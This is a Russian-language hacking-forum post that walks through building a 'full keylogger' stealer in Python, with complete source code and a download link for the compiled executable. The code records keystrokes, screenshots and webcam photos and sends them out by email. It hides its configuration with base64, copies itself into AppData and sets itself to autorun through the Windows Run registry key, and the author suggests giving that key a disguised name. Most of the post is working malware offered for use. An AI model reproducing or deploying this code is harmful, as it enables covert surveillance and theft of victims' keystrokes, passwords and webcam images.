1 1 2 1 2
Sign in to follow this  
Фрейд

Black Python - 8. Full Keylogger

Recommended Posts

Салют, исследователи темной стороны интернета!

 

Несколько дней готовил для тебя очень вкусную статью, на основе нашего keylogger модуля, который выполняет задачи полноценного стиллера. Кушать подано, приятного аппетита!

 

Описание полноценного кейлоггера:

  • Отправка данных по электронной почте
  • Прикрепление к письму скриншота и снимка с веб-камеры.
  • Два режима сбора данных:отправка каждые limit клавиш и
  • отправка собранных данных при запуске программы.
  • Шифрование конфигурации
  • Копирование exe и конфигурации в папку appdata\local
  • Добавление программы в автозагрузку

 

Как видите, функционал keylogger'а напоминает (s)AINT, однако, как бы нескромно ни звучало, заметил пару отличительных от (s)AINT моментов в реализации:

  • Если в тему письма входит подстрока 'node_os', то в почтовом клиенте удобно проводить мониторинг входящих, если кейлоггер используется на нескольких машинах.
  • Легкая возможность масштабирования проекта - дополнительные модули прописывать в FullKeyLogger.__init__, загрузка конфигурации(если требуется) - FullKeyLogger.load_config

 

К минусу (в сравнении с (s)aint) относится конечный размер exe файла - 33 мб для версии со скриншотом и вебкамерой.

 

Для написания полноценного кейлогера будем использовать раннее написанные модули:

  • keylogger
  • mail
  • module_manager (webcam, screenshot)

 

Опишем основные функции для работы с модулем кейлоггера:

pip install keyboard opencv-python pillow

Python:

import os
import re
from additional import make_zip
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import webcam_manager, screenshot_manager

# упаковка логов и запуск модулей (вебкам, скриншот, отправка сообщения)
def collect_and_send():
    # Упаковываем созданные логи
    collect_logs(get_old_files(key_config['filename'], key_config['replace_part']), key_config['archive_log'])
    # Если упаковалось, то
    if os.path.exists(key_config['archive_log']):
        try:
            # снимок с вебкамеры
            webcam_manager(webcam_config)
        except:
            # игнорирование отсутствия библиотеки
            pass
        # делаем скрин и отсылку сообщения
        screenshot_manager(screenshot_config)
        mail_manager(mail_config)

# получаем список файлов для упаковки
def get_old_files(filename, replace_part):
    # задаем шаблон для подходящих файлов
    re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
    dir_logs = os.path.abspath(os.path.dirname(filename))
    # если папка существует,
    if os.path.exists(dir_logs):
        # то упаковываем
        return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
    return None

# упаковка логов из [files] в archive_log файл.
def collect_logs(files, archive_log):
    if files:
        make_zip(files=files, filename=archive_log)
        # удаление всех упакованных файлов
        for file in files:
            try:
                os.remove(file)
            except:
                pass

# Менеджер для full кейлоггера
def full_keylogger_manager():
    on_save = None
    # если режим отправки при запуске,
    if key_config['mode'] == 'launch':
        # то упаковываем и отправляем
        collect_and_send()
    # если режим отправки каждой части
    elif key_config['mode'] == 'every_part':
        # то назначаем событие упаковки-отправки на on_save
        on_save = collect_and_send
    # запускаем кейлогер с триггером на сохранение (None, collect_and_send)
    key_logger_manager(key_config, on_save)

if __name__ == '__main__':
    # archive_log - путь сохранения архива с логом
    # mode - every_part/launch режим сохранения логов
    key_config = {
        "filename": "key_logs\\keylogger_num.json",
        "replace_part": "num",
        "limit": 100,
        "archive_log": "result\\log.zip",
        "mode": "every_part",
    }
    webcam_config = {"filename": "result\\cam.png"}
    screenshot_config = {"filename": "result\\screenshot.png"}
    mail_config = {
        "config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
        "login_data": {"login": "", "password": ""},
        "mail": {"from": "", "to": "", "subject": "[node_os]", "message": "",
                 "attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}}
    try:
        full_keylogger_manager()
    except:
        pass

Выполнив код, и постучав по клавиатуре, получил письмо с пустым содержанием, с архивом логов и скрином. (web-камеры нет + virtual os)

 

Добавим к тексту сообщения содержание simple_log'ов:

Python:

def prepare_message():
    message = ''
    # для файлов, сохраняемым в функции simple_log
    for filename in [key_config['filename'], key_config['filename'].replace(key_config['replace_part'], 'alt')]:
        with open(filename, 'r') as simple_file:
            message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
    mail_config['mail']['message'] = message

Конфигурацию нельзя хранить в открытом виде(в данном проете точно), поэтому их либо можно держать в коде, и тогда при компиляции они будут скрыты в exe, а можно держать конфиги в зашифрованном виде, для возможности смены настроек на лету.

Основные функции:

Python:

import base64
# зашифровать
crypt_config = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
# расшифровать
config = json.loads(base64.b64decode(crypt_config))

# добавим функции для шифровки и расшифровки конфигов
def decode_config(in_filename=None, crypt_config=None):
    if in_filename:
        with open(in_filename, 'rb') as crypt_file:
            crypt_config = crypt_file.read()
    return json.loads(base64.b64decode(crypt_config))

def encode_config(config, out_filename=None):
    encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
    if out_filename:
        with open(out_filename, 'wb') as crypt_file:
            crypt_file.write(encoded)

Добавив интерфейс по работе из командной строкой, получим модуль:

config_encoder.py:

import base64
import json
import sys
DEFAULT_CRYPT_NAME = 'config.crypt'
DEFAULT_DECRYPT_NAME = 'config.json'

def decode_config(in_filename=None, crypt_config=None):
    if in_filename:
        with open(in_filename, 'rb') as crypt_file:
            crypt_config = crypt_file.read()
    return json.loads(base64.b64decode(crypt_config))

def encode_config(config, out_filename=None):
    encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
    if out_filename:
        with open(out_filename, 'wb') as crypt_file:
            crypt_file.write(encoded)

def get_args():
    args = sys.argv[1:]
    if len(args) >= 3:
        mode, in_filename, out_filename = args[0], args[1], args[2]
    elif len(args) == 2:
        mode, in_filename = args[0], args[1]
        mode_set = {'encode': DEFAULT_CRYPT_NAME, 'decode': DEFAULT_DECRYPT_NAME}
        if mode in mode_set:
            out_filename = mode_set[mode]
        else:
            raise ValueError('Неизвестный режим')
    else:
        raise SyntaxError('Недостаточно данных')
    return mode, in_filename, out_filename

def base64_engine(mode, in_filename, out_filename):
    if mode == 'encode':
        with open(in_filename, 'r') as config_file:
            config = json.load(config_file)
        encode_config(config, out_filename)
    elif mode == 'decode':
        config = decode_config(in_filename)
        with open(out_filename, 'w') as config_file:
            json.dump(config, config_file)

def execute_from_args():
    try:
        mode, in_filename, out_filename = get_args()
        base64_engine(mode, in_filename, out_filename)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    execute_from_args()

 

Синтаксис шифрования\расшифрования

python config_encoder.py mode in_file out_file

Например:

python config_encoder.py encode config.json - шифровка

python config_encoder.py decode config.crypt - расшифровка

 

Теперь дополним модуль additional методами копирования файла в appdata\local, и добавление файла в автозагрузку (в реестр):

additional.py:

from winreg import OpenKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, SetValueEx, REG_SZ, CloseKey

def copy_to_local(filename, path=None):
    # Формируем путь к папке local
    target_path = os.path.join(os.path.expanduser('~'), 'appdata', 'Local')
    # если путь задан, то дополняем путь
    if path:
        target_path = os.path.join(target_path, path)
    # имя файла в который копировать
    target_file = os.path.join(target_path, os.path.basename(filename))
    make_folders(target_file)
    # копируем
    shutil.copy(filename, target_file)
    return target_file

def add_autorun(name, path):
    # Открываем ключ в нужном разделе
    key = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
    # задаем значение
    SetValueEx(key, name, 0, REG_SZ, path)
    # закрываем ключ
    CloseKey(key)

 

Оформив все наработки в класс, получим:

full_keylogger.py:

import os
import re
import sys

from additional import make_zip, add_autorun, copy_to_local
from config_encoder import decode_config
from error_log import ErrorLog
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import screenshot_manager, webcam_manager

# имя для конфигурации
DEFAULT_CONFIG_NAME = 'config.crypt'

class FullKeyLogger:
    # при инициализации принимаем общий конфиг
    def __init__(self, global_config):
        self.error_log = ErrorLog()
        # разделяем конфиги
        self.key_config, self.mail_config, self.screen_config, self.webcam_config, self.autorun_config = \
            self.load_config(global_config, ['keylogger', 'mail', 'screenshot', 'webcam', 'autorun'])
        # сопоставляем конфиги и менеджеры
        self.module_set = [(self.screen_config, screenshot_manager), (self.webcam_config, webcam_manager),
                           (self.mail_config, mail_manager)]
        self.add_to_autorun()

    # добавление кейлоггера в автозапуск
    def add_to_autorun(self):
        try:
            if self.autorun_config['use']:
                # копирование файла конфига в локал
                copy_to_local(DEFAULT_CONFIG_NAME, self.autorun_config['name'])
                # добавление в автозапуск скопированного в локал exe
                add_autorun(self.autorun_config['name'],
                            copy_to_local(os.path.abspath(sys.argv[0]), self.autorun_config['name']))
        except Exception as e:
            self.error_log.add('Keylogger - (add to autorun)', e)

    # функция разделения конфигов
    @staticmethod
    def load_config(global_config, modules):
        configs = {}
        for config in modules:
            try:
                # для каждого модуля запоминаем свой конфиг
                configs[config] = global_config[config]
            except:
                configs[config] = None
        return configs['keylogger'], configs['mail'], configs['screenshot'], configs['webcam'], configs['autorun']

    @staticmethod
    def get_old_files(filename, replace_part):
        re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
        dir_logs = os.path.abspath(os.path.dirname(filename))
        if os.path.exists(dir_logs):
            return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
        return None

    @staticmethod
    def collect_logs(files, archive_log):
        if files:
            make_zip(files=files, filename=archive_log)
            for file in files:
                try:
                    os.remove(file)
                except:
                    pass

    def execute_modules(self):
        for module in self.module_set:
            try:
                if module[0]['use']:
                    module[1](module[0])
            except Exception as e:
                self.error_log.add('Keylogger - (execute module)', e)

    def collect_and_send(self):
        try:
            self.prepare_message()
            self.collect_logs(self.get_old_files(self.key_config['filename'], self.key_config['replace_part']),
                              self.key_config['archive_log'])
            if os.path.exists(self.key_config['archive_log']):
                self.execute_modules()
        except Exception as e:
            self.error_log.add('Keylogger - (collect and send)', e)
        self.error_log.save_log(self.key_config['error_log'])

    def prepare_message(self):
        try:
            message = ''
            for filename in [self.key_config['filename'],
                             self.key_config['filename'].replace(self.key_config['replace_part'], 'alt')]:
                try:
                    with open(filename, 'r') as simple_file:
                        message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
                except:
                    pass
            self.mail_config['mail']['message'] = message
        except Exception as e:
            self.error_log.add('Keylogger - (prepare message)', e)

    def start(self):
        on_save = None
        if self.key_config['mode'] == 'launch':
            self.collect_and_send()
        elif self.key_config['mode'] == 'every_part':
            on_save = self.collect_and_send
        key_logger_manager(self.key_config, on_save)

def full_key_logger_manager():
    key_logger = FullKeyLogger(decode_config(DEFAULT_CONFIG_NAME))
    key_logger.start()

if __name__ == '__main__':
    try:
        full_key_logger_manager()
    except:
        pass

 

измените модуль кейколлекшн -> закомментируйте тело метода stop(замените на pass)

 

Работа с конфигурацией

Пример расшифрованного конфига:

config.json:

{
  "keylogger": {
    "filename": "key_logs\\keylogger_num.json", "replace_part": "num", "limit": 100,
    "archive_log": "result\\log.zip", "mode": "every_part", "error_log": "errors.log"},
  "autorun": {"use": true, "name": "keylogger"},
  "screenshot": {"use": true, "filename": "result\\screenshot.png"},
  "webcam": {"use": true, "filename": "result\\cam.png"},
  "mail": {
    "use": true,
    "config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
    "login_data": {"login": "", "password": ""},
    "mail": {
      "from": "", "to": "", "subject": "[node_os]", "message": "",
      "attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}
  }
}
  • Введите свои почтовые данные,
  • В mail->mail->attach не забудьте указать все файлы для прикрепления
  • Укажите keylogger->mode = (every_part/launch) - режим отправки данных каждой части или при запуске
  • Поменяйте (если требуется) autorun->name на ожидаемый ключ в реестре(например, securelib, и тд)
  • Для отключения дополнительного модуля, поменяйте значение 'use' на false.
  • Зашифруйте конфигурацию в файл DEFAULT_CONFIG_NAME.

python config_encode.py encode config.json config.crypt

Либо запустите файл make_config.bat из архива full_keylogger_exe

 

Вот так мы написали стиллер, собирающий нажатия клавиш, скриншот и снимок с веб-камеры, который может потягаться с известным стиллером (s)AINT (java).

Прикрепляю все полученные файлы:

  • full_keylogger_source - исходные коды
  • full_keylogger_exe (две части) - исполняемый файл стиллера, шаблон с конфигурацией(json), encoder.exe

https://mega.nz/#F!RmRSCCSJ!tPea06AhJQkxjEeG021Geg

Share this post


Link to post
Share on other sites

Когда уже темы для дебилов появятся , или вы думаете тут вундеркиды сидят все ?

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
Sign in to follow this